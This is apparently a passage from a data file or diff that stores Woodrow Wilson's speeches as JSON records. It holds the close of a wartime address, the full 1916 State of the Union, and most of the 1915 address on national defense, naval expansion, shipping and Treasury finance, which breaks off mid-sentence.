permit\ntheir triumph. They are striking at the very existence of democracy and\nliberty.It is because it is for us a war of high, disinterested purpose, in which\nall the free peoples of the world are banded together for the vindication\nof right, a war for the preservation of our nation, of all that it has held\ndear, of principle and of purpose, that we feel ourselves doubly\nconstrained to propose for its outcome only that which is righteous and of\nirreproachable intention, for our foes as well as for our friends. The\ncause being just and holy, the settlement must be of like motive and\nequality. For this we can fight, but for nothing less noble or less worthy\nof our traditions. For this cause we entered the war and for this cause\nwill we battle until the last gun is fired.I have spoken plainly because this seems to me the time when it is most\nnecessary to speak plainly, in order that all the world may know that, even\nin the heat and ardor of the struggle and when our whole thought is of\ncarrying the war through to its end, we have not forgotten any ideal or\nprinciple for which the name of America has been held in honor among the\nnations and for which it has been our glory to contend in the great\ngenerations that went before us. A supreme moment of history has come. The\neyes of the people have been opened and they see. The hand of God is laid\nupon the nations. He will show them favor, I devoutly believe, only if they\nrise to the clear heights of His own justice and mercy.", 
+    "name": "Woodrow Wilson"
+}
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+{
+    "date": "December 5, 1916", 
+    "speech": "GENTLEMEN OF THE CONGRESS:In fulfilling at this time the duty laid upon me by the Constitution of\ncommunicating to you from time to time information of the state of the\nUnion and recommending to your consideration such legislative measures as\nmay be judged necessary and expedient, I shall continue the practice, which\nI hope has been acceptable to you, of leaving to the reports of the several\nheads of the executive departments the elaboration of the detailed needs of\nthe public service and confine myself to those matters of more general\npublic policy with which it seems necessary and feasible to deal at the\npresent session of the Congress.I realize the limitations of time under which you will necessarily act at\nthis session and shall make my suggestions as few as possible; but there\nwere some things left undone at the last session which there will now be\ntime to complete and which it seems necessary in the interest of the public\nto do at once.In the first place, it seems to me imperatively necessary that the earliest\npossible consideration and action should be accorded the remaining measures\nof the program of settlement and regulation which I had occasion to\nrecommend to you at the close of your last session in view of the public\ndangers disclosed by the unaccommodated difficulties which then existed,\nand which still unhappily continue to exist, between the railroads of the\ncountry and their locomotive engineers, conductors and trainmen.I then recommended:First, immediate provision for the enlargement and administrative\nreorganization of the Interstate Commerce Commission along the lines\nembodied in the bill recently passed by the House of Representatives and\nnow awaiting action by the Senate; in order that the Commission may be\nenabled to deal with the many great and various duties now devolving upon\nit with a promptness and thoroughness which are, with its present\nconstitution and means of action, practically impossible.Second, the establishment of an eight-hour day as the legal basis alike of\nwork and wages in the employment of all railway employes who are actually\nengaged in the work of operating trains in interstate transportation.Third, the authorization of the appointment by the President of a small\nbody of men to observe actual results in experience of the adoption of the\neight-hour day in railway transportation alike for the men and for the\nrailroads.Fourth, explicit approval by the Congress of the consideration by the\nInterstate Commerce Commission of an increase of freight rates to meet such\nadditional expenditures by the railroads as may have been rendered\nnecessary by the adoption of the eight-hour day and which have not been\noffset by administrative readjustments and economies, should the facts\ndisclosed justify the increase.Fifth, an amendment of the existing Federal statute which provides for the\nmediation, conciliation and arbitration of such controversies as the\npresent by adding to it a provision that, in case the methods of\naccommodation now provided for should fail, a full public investigation of\nthe merits of every such dispute shall be instituted and completed before a\nstrike or lockout may lawfully be attempted.And, sixth, the lodgment in the hands of the Executive of the power, in\ncase of military necessity, to take control of such portions and such\nrolling stock of the railways of the country as may be required for\nmilitary use and to operate them for military purposes, with authority to\ndraft into the military service of the United States such train crews and\nadministrative officials as the circumstances require for their safe and\nefficient use.The second and third of these recommendations the Congress immediately\nacted on: it established the eight-hour day as the legal basis of work and\nwages in train service and it authorized the appointment of a commission to\nobserve and report upon the practical results, deeming these the measures\nmost immediately needed; but it postponed action upon the other suggestions\nuntil an opportunity should be offered for a more deliberate consideration\nof them.The fourth recommendation I do not deem it necessary to renew. The power of\nthe Interstate Commerce Commission to grant an increase of rates on the\nground referred to is indisputably clear and a recommendation by the\nCongress with regard to such a matter might seem to draw in question the\nscope of the commission's authority or its inclination to do justice when\nthere is no reason to doubt either.The other suggestions-the increase in the Interstate Commerce Commission's\nmembership and in its facilities for performing its manifold duties; the\nprovision for full public investigation and assessment of industrial\ndisputes, and the grant to the Executive of the power to control and\noperate the railways when necessary in time of war or other like public\nnecessity-I now very earnestly renew.The necessity for such legislation is manifest and pressing. Those who have\nentrusted us with the responsibility and duty of serving and safeguarding\nthem in such matters would find it hard, I believe, to excuse a failure to\nact upon these grave matters or any unnecessary postponement of action upon\nthem.Not only does the Interstate Commerce Commission now find it practically\nimpossible, with its present membership and organization, to perform its\ngreat functions promptly and thoroughly, but it is not unlikely that it may\npresently be found advisable to add to its duties still others equally\nheavy and exacting. It must first be perfected as an administrative\ninstrument.The country cannot and should not consent to remain any longer exposed to\nprofound industrial disturbances for lack of additional means of\narbitration and conciliation which the Congress can easily and promptly\nsupply.And all will agree that there must be no doubt as to the power of the\nExecutive to make immediate and uninterrupted use of the railroads for the\nconcentration of the military forces of the nation wherever they are needed\nand whenever they are needed.This is a program of regulation, prevention and administrative efficiency\nwhich argues its own case in the mere statement of it. With regard to one\nof its items, the increase in the efficiency of the Interstate Commerce\nCommission, the House of Representatives has already acted; its action\nneeds only the concurrence of the Senate.I would hesitate to recommend, and I dare say the Congress would hesitate\nto act upon the suggestion should I make it, that any man in any I\noccupation should be obliged by law to continue in an employment which he\ndesired to leave.To pass a law which forbade or prevented the individual workman to leave\nhis work before receiving the approval of society in doing so would be to\nadopt a new principle into our jurisprudence, which I take it for granted\nwe are not prepared to introduce.But the proposal that the operation of the railways of the country shall\nnot be stopped or interrupted by the concerted action of organized bodies\nof men until a public investigation shall have been instituted, which shall\nmake the whole question at issue plain for the judgment of the opinion of\nthe nation, is not to propose any such principle.It is based upon the very different principle that the concerted action of\npowerful bodies of men shall not be permitted to stop the industrial\nprocesses of the nation, at any rate before the nation shall have had an\nopportunity to acquaint itself with the merits of the case as between\nemploye and employer, time to form its opinion upon an impartial statement\nof the merits, and opportunity to consider all practicable means of\nconciliation or arbitration.I can see nothing in that proposition but the justifiable safeguarding by\nsociety of the necessary processes of its very life. There is nothing\narbitrary or unjust in it unless it be arbitrarily and unjustly done. It\ncan and should be done with a full and scrupulous regard for the interests\nand liberties of all concerned as well as for the permanent interests of\nsociety itself.Three matters of capital importance await the action of the Senate which\nhave already been acted upon by the House of Representatives; the bill\nwhich seeks to extend greater freedom of combination to those engaged in\npromoting the foreign commerce of the country than is now thought by some\nto be legal under the terms of the laws against monopoly; the bill amending\nthe present organic law of Porto Rico; and the bill proposing a more\nthorough and systematic regulation of the expenditure of money in\nelections, commonly called the Corrupt Practices Act.I need not labor my advice that these measures be enacted into law. Their\nurgency lies in the manifest circumstances which render their adoption at\nthis time not only opportune but necessary. Even delay would seriously\njeopard the interests of the country and of the Government.Immediate passage of the bill to regulate the expenditure of money in\nelections may seem to be less necessary than the immediate enactment of the\nother measures to which I refer, because at least two years will elapse\nbefore another election in which Federal offices are to be filled; but it\nwould greatly relieve the public mind if this important matter were dealt\nwith while the circumstances and the dangers to the public morals of the\npresent method of obtaining and spending campaign funds stand clear under\nrecent observation, and the methods of expenditure can be frankly studied\nin the light of present experience; and a delay would have the further very\nserious disadvantage of postponing action until another election was at\nhand and some special object connected with it might be thought to be in\nthe mind of those who urged it. Action can be taken now with facts for\nguidance and without suspicion of partisan purpose.I shall not argue at length the desirability of giving a freer hand in the\nmatter of combined and concerted effort to those who shall undertake the\nessential enterprise of building up our export trade. That enterprise will\npresently, will immediately assume, has indeed already assumed a magnitude\nunprecedented in our experience. We have not the necessary\ninstrumentalities for its prosecution; it is deemed to be doubtful whether\nthey could be created upon an adequate scale under our present laws.We should clear away all legal obstacles and create a basis of undoubted\nlaw for it which will give freedom without permitting unregulated license.\nThe thing must be done now, because the opportunity is here and may escape\nus if we hesitate or delay.The argument for the proposed amendments of the organic law of Porto Rico\nis brief and conclusive. The present laws governing the island and\nregulating the rights and privileges of its people are not just. We have\ncreated expectations of extended privilege which we have not satisfied.\nThere is uneasiness among the people of the island and even a suspicious\ndoubt with regard to our intentions concerning them which the adoption of\nthe pending measure would happily remove. We do not doubt what we wish to\ndo in any essential particular. We ought to do it at once.At the last session of the Congress a bill was passed by the Senate which\nprovides for the promotion of vocational and industrial education, which is\nof vital importance to the whole country because it concerns a matter, too\nlong neglected, upon which the thorough industrial preparation of the\ncountry for the critical years of economic development immediately ahead of\nus in very large measure depends.May I not urge its early and favorable consideration by the House of\nRepresentatives and its early enactment into law? It contains plans which\naffect all interests and all parts of the country, and I am sure that there\nis no legislation now pending before the Congress whose passage the country\nawaits with more thoughtful approval or greater impatience to see a great\nand admirable thing set in the way of being done.There are other matters already advanced to the stage of conference between\nthe two houses of which it is not necessary that I should speak. Some\npracticable basis of agreement concerning them will no doubt be found an\naction taken upon them.Inasmuch as this is, gentlemen, probably the last occasion I shall have to\naddress the Sixty-fourth Congress, I hope that you will permit me to say\nwith what genuine pleasure and satisfaction I have co-operated with you in\nthe many measures of constructive policy with which you have enriched the\nlegislative annals of the country. It has been a privilege to labor in such\ncompany. I take the liberty of congratulating you upon the completion of a\nrecord of rare serviceableness and distinction.", 
+    "name": "Woodrow Wilson"
+}
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+{
+    "date": "December 7, 1915", 
+    "speech": "GENTLEMEN OF THE CONGRESS:Since I last had the privilege of addressing you on the state of the Union\nthe war of nations on the other side of the sea, which had then only begun\nto disclose its portentous proportions, has extended its threatening and\nsinister scope until it has swept within its flame some portion of every\nquarter of the globe, not excepting our own hemisphere, has altered the\nwhole face of international affairs, and now presents a prospect of\nreorganization and reconstruction such as statesmen and peoples have never\nbeen called upon to attempt before.We have stood apart, studiously neutral. It was our manifest duty to do so.\nNot only did we have no part or interest in the policies which seem to have\nbrought the conflict on; it was necessary, if a universal catastrophe was\nto be avoided, that a limit should be set to the sweep of destructive war\nand that some part of the great family of nations should keep the processes\nof peace alive, if only to prevent collective economic ruin and the\nbreakdown throughout the world of the industries by which its populations\nare fed and sustained. It was manifestly the duty of the self-governed\nnations of this hemisphere to redress, if possible, the balance of economic\nloss and confusion in the other, if they could do nothing more. In the day\nof readjustment and recuperation we earnestly hope and believe that they\ncan be of infinite service.In this neutrality, to which they were bidden not only by their separate\nlife and their habitual detachment from the politics of Europe but also by\na clear perception of international duty, the states of America have become\nconscious of a new and more vital community of interest and moral\npartnership in affairs, more clearly conscious of the many common\nsympathies and interests and duties which bid them stand together.There was a time in the early days of our own great nation and of the\nrepublics fighting their way to independence in Central and South America\nwhen the government of the United States looked upon itself as in some sort\nthe guardian of the republics to the South of her as against any\nencroachments or efforts at political control from the other side of the\nwater; felt it its duty to play the part even without invitation from them;\nand I think that we can claim that the task was undertaken with a true and\ndisinterested enthusiasm for the freedom of the Americas and the unmolested\nSelf-government of her independent peoples. But it was always difficult to\nmaintain such a role without offense to the pride of the peoples whose\nfreedom of action we sought to protect, and without provoking serious\nmisconceptions of our motives, and every thoughtful man of affairs must\nwelcome the altered circumstances of the new day in whose light we now\nstand, when there is no claim of guardianship or thought of wards but,\ninstead, a full and honorable association as of partners between ourselves\nand our neighbors, in the interest of all America, north and south. Our\nconcern for the independence and prosperity of the states of Central and\nSouth America is not altered. We retain unabated the spirit that has\ninspired us throughout the whole life of our government and which was so\nfrankly put into words by President Monroe. We still mean always to make a\ncommon cause of national independence and of political liberty in America.\nBut that purpose is now better understood so far as it concerns ourselves.\nIt is known not to be a selfish purpose. It is known to have in it no\nthought of taking advantage of any government in this hemisphere or playing\nits political fortunes for our own benefit. All the governments of America\nstand, so far as we are concerned, upon a footing of genuine equality and\nunquestioned independence.We have been put to the test in the case of Mexico, and we have stood the\ntest. Whether we have benefited Mexico by the course we have pursued\nremains to be seen. Her fortunes are in her own hands. But we have at least\nproved that we will not take advantage of her in her distress and undertake\nto impose upon her an order and government of our own choosing. Liberty is\noften a fierce and intractable thing, to which no bounds can be set, and to\nwhich no bounds of a few men's choosing ought ever to be set. Every\nAmerican who has drunk at the true fountains of principle and tradition\nmust subscribe without reservation to the high doctrine of the Virginia\nBill of Rights, which in the great days in which our government was set up\nwas everywhere amongst us accepted as the creed of free men. That doctrine\nis, \"That government is, or ought to be, instituted for the common benefit,\nprotection, and security of the people, nation, or community\"; that \"of all\nthe various modes and forms of government, that is the best which is\ncapable of producing the greatest degree of happiness and safety, and is\nmost effectually secured against the danger of maladministration; and that,\nwhen any government shall be found inadequate or contrary to these\npurposes, a majority of the community hath an indubitable, inalienable, and\nindefeasible right to reform, alter, or abolish it, in such manner as shall\nbe judged most conducive to the public weal.\" We have unhesitatingly\napplied that heroic principle to the case of Mexico, and now hopefully\nawait the rebirth of the troubled Republic, which had so much of which to\npurge itself and so little sympathy from any outside quarter in the radical\nbut necessary process. We will aid and befriend Mexico, but we will not\ncoerce her; and our course with regard to her ought to be sufficient proof\nto all America that we seek no political suzerainty or selfish control.The moral is, that the states of America are not hostile rivals but\ncooperating friends, and that their growing sense of community or interest,\nalike in matters political and in matters economic, is likely to give them\na new significance as factors in international affairs and in the political\nhistory of the world. It presents them as in a very deep and true sense a\nunit in world affairs, spiritual partners, standing together because\nthinking together, quick with common sympathies and common ideals.\nSeparated they are subject to all the cross currents of the confused\npolitics of a world of hostile rivalries; united in spirit and purpose they\ncannot be disappointed of their peaceful destiny.This is Pan-Americanism. It has none of the spirit of empire in it. It is\nthe embodiment, the effectual embodiment, of the spirit of law and\nindependence and liberty and mutual service.A very notable body of men recently met in the City of Washington, at the\ninvitation and as the guests of this Government, whose deliberations are\nlikely to be looked back to as marking a memorable turning point in the\nhistory of America. They were representative spokesmen of the several\nindependent states of this hemisphere and were assembled to discuss the\nfinancial and commercial relations of the republics of the two continents\nwhich nature and political fortune have so intimately linked together. I\nearnestly recommend to your perusal the reports of their proceedings and of\nthe actions of their committees. You will get from them, I think, a fresh\nconception of the ease and intelligence and advantage with which Americans\nof both continents may draw together in practical cooperation and of what\nthe material foundations of this hopeful partnership of interest must\nconsist,-of how we should build them and of how necessary it is that we\nshould hasten their building.There is, I venture to point out, an especial significance just now\nattaching to this whole matter of drawing the Americans together in bonds\nof honorable partnership and mutual advantage because of the economic\nreadjustments which the world must inevitably witness within the next\ngeneration, when peace shall have at last resumed its healthful tasks. In\nthe performance of these tasks I believe the Americas to be destined to\nplay their parts together. I am interested to fix your attention on this\nprospect now because unless you take it within your view and permit the\nfull significance of it to command your thought I cannot find the right\nlight in which to set forth the particular matter that lies at the very\nfont of my whole thought as I address you to-day. I mean national defense.No one who really comprehends the spirit of the great people for whom we\nare appointed to speak can fail to perceive that their passion is for\npeace, their genius best displayed in the practice of the arts of peace.\nGreat democracies are not belligerent. They do not seek or desire war.\nTheir thought is of individual liberty and of the free labor that supports\nlife and the uncensored thought that quickens it. Conquest and dominion are\nnot in our reckoning, or agreeable to our principles. But just because we\ndemand unmolested development and the undisturbed government of our own\nlives upon our own principles of right and liberty, we resent, from\nwhatever quarter it may come, the aggression we ourselves will not\npractice. We insist upon security in prosecuting our self-chosen lines of\nnational development. We do more than that. We demand it also for others.\nWe do not confine our enthusiasm for individual liberty and free national\ndevelopment to the incidents and movements of affairs which affect only\nourselves. We feel it wherever there is a people that tries to walk in\nthese difficult paths of independence and right. From the first we have\nmade common cause with all partisans of liberty on this side the sea, and\nhave deemed it as important that our neighbors should be free from all\noutside domination as that we ourselves should be. We have set America\naside as a whole for the uses of independent nations and political freemen.Out of such thoughts grow all our policies. We regard war merely as a means\nof asserting the rights of a people against aggression. And we are as\nfiercely jealous of coercive or dictatorial power within our own nation as\nof aggression from without. We will not maintain a standing army except for\nuses which are as necessary in times of peace as in times of war; and we\nshall always see to it that our military peace establishment is no larger\nthan is actually and continuously needed for the uses of days in which no\nenemies move against us. But we do believe in a body of free citizens ready\nand sufficient to take care of themselves and of the governments which they\nhave set up to serve them. In our constitutions themselves we have\ncommanded that \"the right of the people to keep and bear arms shall not be\ninfringed,\" and our confidence has been that our safety in times of danger\nwould lie in the rising of the nation to take care of itself, as the\nfarmers rose at Lexington.But war has never been a mere matter of men and guns. It is a thing of\ndisciplined might. If our citizens are ever to fight effectively upon a\nsudden summons, they must know how modern fighting is done, and what to do\nwhen the summons comes to render themselves immediately available and\nimmediately effective. And the government must be their servant in this\nmatter, must supply them with the training they need to take care of\nthemselves and of it. The military arm of their government, which they will\nnot allow to direct them, they may properly use to serve them and make\ntheir independence secure,-and not their own independence merely but the\nrights also of those with whom they have made common cause, should they\nalso be put in jeopardy. They must be fitted to play the great role in the\nworld, and particularly in this hemisphere, for which they are qualified by\nprinciple and by chastened ambition to play.It is with these ideals in mind that the plans of the Department of War for\nmore adequate national defense were conceived which will be laid before\nyou, and which I urge you to sanction and put into effect as soon as they\ncan be properly scrutinized and discussed. They seem to me the essential\nfirst steps, and they seem to me for the present sufficient.They contemplate an increase of the standing force of the regular army from\nits present strength of five thousand and twenty-three officers and one\nhundred and two thousand nine hundred and eighty-five enlisted men of all\nservices to a strength of seven thousand one hundred and thirty-six\nofficers and one hundred and thirty-four thousand seven hundred and seven\nenlisted men, or 141,843, all told, all services, rank and file, by the\naddition of fifty-two companies of coast artillery, fifteen companies of\nengineers, ten regiments of infantry, four regiments of field artillery,\nand four aero squadrons, besides seven hundred and fifty officers required\nfor a great variety of extra service, especially the all important duty of\ntraining the citizen force of which I shall presently speak, seven hundred\nand ninety-two noncommissioned officers for service in drill, recruiting\nand the like, and the necessary quota of enlisted men for the Quartermaster\nCorps, the Hospital Corps, the Ordnance Department, and other similar\nauxiliary services. These are the additions necessary to render the army\nadequate for its present duties, duties which it has to perform not only\nupon our own continental coasts and borders and at our interior army posts,\nbut also in the Philippines, in the Hawaiian Islands, at the Isthmus, and\nin Porto Rico.By way of making the country ready to assert some part of its real power\npromptly and upon a larger scale, should occasion arise, the plan also\ncontemplates supplementing the army by a force of four hundred thousand\ndisciplined citizens, raised in increments of one hundred and thirty-three\nthousand a year throughout a period of three years. This it is proposed to\ndo by a process of enlistment under which the serviceable men of the\ncountry would be asked to bind themselves to serve with the colors for\npurposes of training for short periods throughout three years, and to come\nto the colors at call at any time throughout an additional \"furlough\"\nperiod of three years. This force of four hundred thousand men would be\nprovided with personal accoutrements as fast as enlisted and their\nequipment for the field made ready to be supplied at any time. They would\nbe assembled for training at stated intervals at convenient places in\nassociation with suitable units of the regular army. Their period of annual\ntraining would not necessarily exceed two months in the year.It would depend upon the patriotic feeling of the younger men of the\ncountry whether they responded to such a call to service or not. It would\ndepend upon the patriotic spirit of the employers of the country whether\nthey made it possible for the younger men in their employ to respond under\nfavorable conditions or not. I, for one, do not doubt the patriotic\ndevotion either of our young men or of those who give them\nemployment,--those for whose benefit and protection they would in fact\nenlist. I would look forward to the success of such an experiment with\nentire confidence.At least so much by way of preparation for defense seems to me to be\nabsolutely imperative now. We cannot do less.The programme which will be laid before you by the Secretary of the Navy is\nsimilarly conceived. It involves only a shortening of the time within which\nplans long matured shall be carried out; but it does make definite and\nexplicit a programme which has heretofore been only implicit, held in the\nminds of the Committees on Naval Affairs and disclosed in the debates of\nthe two Houses but nowhere formulated or formally adopted. It seems to me\nvery clear that it will be to the advantage of the country for the Congress\nto adopt a comprehensive plan for putting the navy upon a final footing of\nstrength and efficiency and to press that plan to completion within the\nnext five years. We have always looked to the navy of the country as our\nfirst and chief line of defense; we have always seen it to be our manifest\ncourse of prudence to be strong on the seas. Year by year we have been\ncreating a navy which now ranks very high indeed among the navies of the\nmaritime nations. We should now definitely determine how we shall complete\nwhat we have begun, and how soon.The programme to be laid before you contemplates the construction within\nfive years of ten battleships, six battle cruisers, ten scout cruisers,\nfifty destroyers, fifteen fleet submarines, eighty-five coast submarines,\nfour gunboats, one hospital ship, two ammunition ships, two fuel oil ships,\nand one repair ship. It is proposed that of this number we shall the first\nyear provide for the construction of two battleships, two battle cruisers,\nthree scout cruisers, fifteen destroyers, five fleet submarines,\ntwenty-five coast submarines, two gunboats, and one hospital ship; the\nsecond year, two battleships, one scout cruiser, ten destroyers, four fleet\nsubmarines, fifteen coast submarines, one gunboat, and one fuel oil ship;\nthe third year, two battleships, one battle cruiser, two scout cruisers,\nfive destroyers, two fleet sub marines, and fifteen coast submarines; the\nfourth year, two battleships, two battle cruisers, two scout cruisers, ten\ndestroyers, two fleet submarines, fifteen coast submarines, one ammunition\nship, and one fuel oil ship; and the fifth year, two battleships, one\nbattle cruiser, two scout cruisers, ten destroyers, two fleet submarines,\nfifteen coast submarines, one gunboat, one ammunition ship, and one repair\nship.The Secretary of the Navy is asking also for the immediate addition to the\npersonnel of the navy of seven thousand five hundred sailors, twenty-five\nhundred apprentice seamen, and fifteen hundred marines. This increase would\nbe sufficient to care for the ships which are to be completed within the\nfiscal year 1917 and also for the number of men which must be put in\ntraining to man the ships which will be completed early in 1918. It is also\nnecessary that the number of midshipmen at the Naval academy at Annapolis\nshould be increased by at least three hundred in order that the force of\nofficers should be more rapidly added to; and authority is asked to\nappoint, for engineering duties only, approved graduates of engineering\ncolleges, and for service in the aviation corps a certain number of men\ntaken from civil life.If this full programme should be carried out we should have built or\nbuilding in 1921, according to the estimates of survival and standards of\nclassification followed by the General Board of the Department, an\neffective navy consisting of twenty-seven battleships of the first line,\nsix battle cruisers, twenty-five battleships of the second line, ten\narmored cruisers, thirteen scout cruisers, five first class cruisers, three\nsecond class cruisers, ten third class cruisers, one hundred and eight\ndestroyers, eighteen fleet submarines, one hundred and fifty-seven coast\nsubmarines, six monitors, twenty gunboats, four supply ships, fifteen fuel\nships, four transports, three tenders to torpedo vessels, eight vessels of\nspecial types, and two ammunition ships. This would be a navy fitted to our\nneeds and worthy of our traditions.But armies and instruments of war are only part of what has to be\nconsidered if we are to provide for the supreme matter of national\nself-sufficiency and security in all its aspects. There are other great\nmatters which will be thrust upon our attention whether we will or not.\nThere is, for example, a very pressing question of trade and shipping\ninvolved in this great problem of national adequacy. It is necessary for\nmany weighty reasons of national efficiency and development that we should\nhave a great merchant marine. The great merchant fleet we once used to make\nus rich, that great body of sturdy sailors who used to carry our flag into\nevery sea, and who were the pride and often the bulwark of the nation, we\nhave almost driven out of existence by inexcusable neglect and indifference\nand by a hopelessly blind and provincial policy of so-called economic\nprotection. It is high time we repaired our mistake and resumed our\ncommercial independence on the seas.For it is a question of independence. If other nations go to war or seek to\nhamper each other's commerce, our merchants, it seems, are at their mercy,\nto do with as they please. We must use their ships, and use them as they\ndetermine. We have not ships enough of our own. We cannot handle our own\ncommerce on the seas. Our independence is provincial, and is only on land\nand within our own borders. We are not likely to be permitted to use even\nthe ships of other nations in rivalry of their own trade, and are without\nmeans to extend our commerce even where the doors are wide open and our\ngoods desired. Such a situation is not to be endured. It is of capital\nimportance not only that the United States should be its own carrier on the\nseas and enjoy the economic independence which only an adequate merchant\nmarine would give it, but also that the American hemisphere as a whole\nshould enjoy a like independence and self-sufficiency, if it is not to be\ndrawn into the tangle of European affairs. Without such independence the\nwhole question of our political unity and self-determination is very\nseriously clouded and complicated indeed.Moreover, we can develop no true or effective American policy without ships\nof our own,--not ships of war, but ships of peace, carrying goods and\ncarrying much more: creating friendships and rendering indispensable\nservices to all interests on this side the water. They must move constantly\nback and forth between the Americas. They are the only shuttles that can\nweave the delicate fabric of sympathy, comprehension, confidence, and\nmutual dependence in which we wish to clothe our policy of America for\nAmericans.The task of building up an adequate merchant marine for America private\ncapital must ultimately undertake and achieve, as it has undertaken and\nachieved every other like task amongst us in the past, with admirable\nenterprise, intelligence, and vigor; and it seems to me a manifest dictate\nof wisdom that we should promptly remove every legal obstacle that may\nstand in the way of this much to be desired revival of our old independence\nand should facilitate in every possible way the building, purchase, and\nAmerican registration of ships. But capital cannot accomplish this great\ntask of a sudden. It must embark upon it by degrees, as the opportunities\nof trade develop. Something must be done at once; done to open routes and\ndevelop opportunities where they are as yet undeveloped; done to open the\narteries of trade where the currents have not yet learned to\nrun,-especially between the two American continents, where they are,\nsingularly enough, yet to be created and quickened; and it is evident that\nonly the government can undertake such beginnings and assume the initial\nfinancial risks. When the risk has passed and private capital begins to\nfind its way in sufficient abundance into these new channels, the\ngovernment may withdraw. But it cannot omit to begin. It should take the\nfirst steps, and should take them at once. Our goods must not lie piled up\nat our ports and stored upon side tracks in freight cars which are daily\nneeded on the roads; must not be left without means of transport to any\nforeign quarter. We must not await the permission of foreign ship-owners\nand foreign governments to send them where we will.With a view to meeting these pressing necessities of our commerce and\navailing ourselves at the earliest possible moment of the present\nunparalleled opportunity of linking the two Americas together in bonds of\nmutual interest and service, an opportunity which may never return again if\nwe miss it now, proposals will be made to the present Congress for the\npurchase or construction of ships to be owned and directed by the\ngovernment similar to those made to the last Congress, but modified in some\nessential particulars. I recommend these proposals to you for your prompt\nacceptance with the more confidence because every month that has elapsed\nsince the former proposals were made has made the necessity for such action\nmore and more manifestly imperative. That need was then foreseen; it is now\nacutely felt and everywhere realized by those for whom trade is waiting but\nwho can find no conveyance for their goods. I am not so much interested in\nthe particulars of the programme as I am in taking immediate advantage of\nthe great opportunity which awaits us if we will but act in this emergency.\nIn this matter, as in all others, a spirit of common counsel should\nprevail, and out of it should come an early solution of this pressing\nproblem.There is another matter which seems to me to be very intimately associated\nwith the question of national safety and preparation for defense. That is\nour policy towards the Philippines and the people of Porto Rico. Our\ntreatment of them and their attitude towards us are manifestly of the first\nconsequence in the development of our duties in the world and in getting a\nfree hand to perform those duties. We must be free from every unnecessary\nburden or embarrassment; and there is no better way to be clear of\nembarrassment than to fulfil our promises and promote the interests of\nthose dependent on us to the utmost. Bills for the alteration and reform of\nthe government of the Philippines and for rendering fuller political\njustice to the people of Porto Rico were submitted to the sixty-third\nCongress. They will be submitted also to you. I need not particularize\ntheir details. You are most of you already familiar with them. But I do\nrecommend them to your early adoption with the sincere conviction that\nthere are few measures you could adopt which would more serviceably clear\nthe way for the great policies by which we wish to make good, now and\nalways, our right to lead in enterprises of peace and good will and\neconomic and political freedom.The plans for the armed forces of the nation which I have outlined, and for\nthe general policy of adequate preparation for mobilization and defense,\ninvolve of course very large additional expenditures of money,-expenditures\nwhich will considerably exceed the estimated revenues of the government. It\nis made my duty by law, whenever the estimates of expenditure exceed the\nestimates of revenue, to call the attention of the Congress to the fact and\nsuggest any means of meeting the deficiency that it may be wise or possible\nfor me to suggest. I am ready to believe that it would be my duty to do so\nin any case; and I feel particularly bound to speak of the matter when it\nappears that the deficiency will arise directly out of the adoption by the\nCongress of measures which I myself urge it to adopt. Allow me, therefore,\nto speak briefly of the present state of the Treasury and of the fiscal\nproblems which the next year will probably disclose.On the thirtieth of June last there was an available balance in the general\nfund of the Treasury Of $104,170,105.78. The total estimated receipts for\nthe year 1916, on the assumption that the emergency revenue measure passed\nby the last Congress will not be extended beyond its present limit, the\nthirty-first of December, 1915, and that the present duty of one cent per\npound on sugar will be discontinued after the first of May, 1916, will be\n$670,365,500. The balance of June last and these estimated revenues come,\ntherefore, to a grand total of $774,535,605-78. The total estimated\ndisbursements for the present fiscal year, including twenty-five millions\nfor the Panama Canal, twelve millions for probable deficiency\nappropriations, and fifty thousand dollars for miscellaneous debt\nredemptions, will be $753,891,000; and the balance in the general fund of\nthe Treasury will be reduced to $20,644,605.78. The emergency revenue act,\nif continued beyond its present time limitation, would produce, during the\nhalf year then remaining, about forty-one millions. The duty of one cent\nper pound on sugar, if continued, would produce during the two months of\nthe fiscal year remaining after the first of May, about fifteen millions.\nThese two sums, amounting together to fifty-six millions, if added to the\nrevenues of the second half of the fiscal year, would yield the Treasury at\nthe end of the year an available balance Of $76,644,605-78.The additional revenues required to carry out the programme of military and\nnaval preparation of which I have spoken, would, as at present estimated,\nbe for the fiscal year, 1917, $93,800,000. Those figures, taken with the\nfigures for the present fiscal year which I have already given, disclose\nour financial problem for the year 1917. Assuming that the taxes imposed by\nthe emergency revenue act and the present duty on sugar are to be\ndiscontinued, and that the balance at the close of the present fiscal year\nwill be only $20,644,605.78, that the disbursements for the Panama Canal\nwill again be about twenty-five millions, and that the additional\nexpenditures for the army and navy are authorized by the Congress, the\ndeficit in the general fund of the Treasury on the thirtieth of June, 1917,\nwill be nearly two hundred and thirty-five millions. To this sum at least\nfifty millions should be added to represent a safe working balance for the\nTreasury, and twelve millions to include the usual deficiency estimates in\n1917; and these additions would make a total deficit of some two hundred\nand ninety-seven millions. If the present taxes should be continued\nthroughout this year and the next, however, there would be a balance in the\nTreasury of some seventy-six and a half millions at the end of the present\nfiscal year, and a deficit at the end of the next year of only some fifty\nmillions, or, reckoning in sixty-two millions for deficiency appropriations\nand a safe Treasury balance at the end of the year, a total deficit of some\none hundred and twelve millions. The obvious moral of the figures is that\nit is a plain counsel of prudence to continue all of the present taxes or\ntheir equivalents, and confine ourselves to the problem of providing one\nhundred and twelve millions of new revenue rather than two hundred and\nninety-seven millions.How shall we obtain the new revenue? We are frequently reminded that there\nare many millions of bonds which the Treasury is authorized under existing\nlaw to sell to reimburse the sums paid out of current revenues for the\nconstruction of the Panama Canal; and it is true that bonds to the amount\nof approximately $222,000,000 are now available for that purpose. Prior to\n1913, $134,631,980 of these bonds had actually been sold to recoup the\nexpenditures at the Isthmus; and now constitute a considerable item of the\npublic debt. But I, for one, do not believe that the people of this country\napprove of postponing the payment of their bills. Borrowing money is\nshort-sighted finance. It can be justified only when permanent things are\nto be accomplished which many generations will certainly benefit by and\nwhich it seems hardly fair that a single generation should pay for. The\nobjects we are now proposing to spend money for cannot be so classified,\nexcept in the sense that everything wisely done may be said to be done in\nthe interest of posterity as well as in our own. It seems to me a clear\ndictate of prudent statesmanship and frank finance that in what we are now,\nI hope, about to undertake we should pay as we go. The people of the\ncountry are entitled to know just what burdens of taxation they are to\ncarry, and to know from the outset, now. The new bills should be paid by\ninternal taxation.To what sources, then, shall we turn? This is so peculiarly a question\nwhich the gentlemen of the House of Representatives are expected under the\nConstitution to propose an answer to that you will hardly expect me to do\nmore than discuss it in very general terms. We should be following an\nalmost universal example of modern governments if we were to draw the\ngreater part or even the whole of the revenues we need from the income\ntaxes. By somewhat lowering the present limits of exemption and the figure\nat which the surtax shall begin to be 